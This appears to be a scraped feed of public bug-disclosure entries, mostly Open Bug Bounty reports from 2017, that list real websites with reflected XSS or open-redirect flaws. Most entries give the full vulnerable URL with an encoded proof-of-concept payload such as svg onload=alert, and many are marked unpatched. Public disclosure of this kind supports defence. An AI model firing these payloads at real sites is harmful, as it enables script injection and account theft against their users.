U.S. Dept Of Defense: Password reset vulnerability on a DoD website

A password reset vulnerability was found on a DoD website, which could have allowed a malicious user to identify legitimate users and arbitrarily reset their passwords. @sp1d3rs was able to demonstrate this vulnerability by accessing a DoD webpage. Thanks @sp1d3rs!...

kaksdelatgarazh.ru XSS vulnerability

Vulnerable URL: http://kaksdelatgarazh.ru/poisk/?searchtext=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1127798...

pens.jp XSS vulnerability

Vulnerable URL: https://www.pens.jp/jp/searchprod.asp?UID=049050050055049054051049049057056049=%22%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...

torg.fo XSS vulnerability

Vulnerable URL: http://torg.fo/search?keyword=%22%3E%3C%2Fscript%3E%3Cimg+src%3Dx+onerror%3Dprompt%2FXSSPOSED%2F%3E=Alt Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 878748 VIP...

miraclesalad.com XSS vulnerability

Vulnerable URL: http://www.miraclesalad.com/webtools/md5.php/%22%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 62471 VIP website status:| ...

proplus.com XSS vulnerability

Vulnerable URL: http://www.proplus.com/?s=%3Cimg%20src=x%20onerror=alert%28%22OPENBUGBOUNTY%22%29%3Etype=post Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 16164842 VIP website status:| No Check proplus.com SSL...

strasbourg-europe.eu XSS vulnerability

Vulnerable URL: http://www.strasbourg-europe.eu/inscription,328,fr.html?mailinglistParamemail= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 539910 VIP website status:| No Check...

burtrand.com XSS vulnerability

Vulnerable URL: http://www.burtrand.com/message.php?to=RickyBurtrand=messaging2=index.php%3F=%22%3E%3Csvg/onload=alert/XSSPOSED/%3E=36ef43euc3itd43p2lme14sco7 Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:| 25.11.2017 09:45 GMT Vulnerability type:| XSS...

boock.co.nz XSS vulnerability

Vulnerable URL: http://www.boock.co.nz/phpgedview/message.php?to=Margot=messaging2=index.php%3Fged%3DBoock.ged=%22%3E%3Csvg/onload=alert/XSSPOSED/%3E=5680i0fvl48seem3v4nkafkb53 Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:| 25.11.2017 09:45 GMT...

agentura.ru XSS vulnerability

Vulnerable URL: http://www.agentura.ru/%22%3E%3Csvg%20onload=alert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 696339 VIP website status:| No Check agentura.ru SSL...

forix.autosport.com XSS vulnerability

Vulnerable URL: http://forix.autosport.com/login.php?l=0=driver.php?r=%22%3E%3Csvg/onload=alert%27OPENBUGBOUNTY%27%3E// Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

midilibre-annonces.com XSS vulnerability

Vulnerable URL: http://www.midilibre-annonces.com/annonce/liste.html?rub=ANI001=%22%3E%3Cscript%3Ealert/OPENBUGBOUNTY/%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:| 25.11.2017 09:44 GMT Vulnerability type:| XSS Vulnerability status:| Public...

hughes.co.uk XSS vulnerability

Open Bug Bounty ID: OBB-200097 Description| Value ---|--- Affected Website:| hughes.co.uk Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

nikita-golyshev.ru XSS vulnerability

Vulnerable URL: http://nikita-golyshev.ru/video.php?video=16673185=%3C/title%3E%3Csvg/onload=alert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:| 25.11.2017 09:43 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

tatasteel.com XSS vulnerability

Vulnerable URL: http://www.tatasteel.com/search-result.asp?search=%27%3E%3C/iframe%3E%3Csvg%20onload=alert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:| 25.11.2017 09:42 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

reporting-holidays.monarch.co.uk XSS vulnerability

Vulnerable URL: http://reporting-holidays.monarch.co.uk/cgi-bin/msite?fbsignup+a+0+0+0+0+0?%22%3E%3Cscript%20src=//www.openbugbounty.org/1.js%3E%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Public...

feynsinn.org XSS vulnerability

Vulnerable URL:...

search4solicitors.com Open Redirect vulnerability

Vulnerable URL: http://www.search4solicitors.com/redirect.php?BannerEntryID==www.openbugbounty.org Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:| 25.11.2017 09:42 GMT Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank...

saharaplc.com XSS vulnerability

Vulnerable URL: http://saharaplc.com/search?search=asas"'--!" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2444562 VIP website status:| No Check saharaplc.com SSL connection:|...

fortmorgantimes.com XSS vulnerability

Vulnerable URL: http://www.fortmorgantimes.com/fort-morgan-local-news/ci30679656/spanish-flu-pandemic-nearly-cancels-christmas-morgan-county/"-confirmOPENBUGBOUNTY-" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:...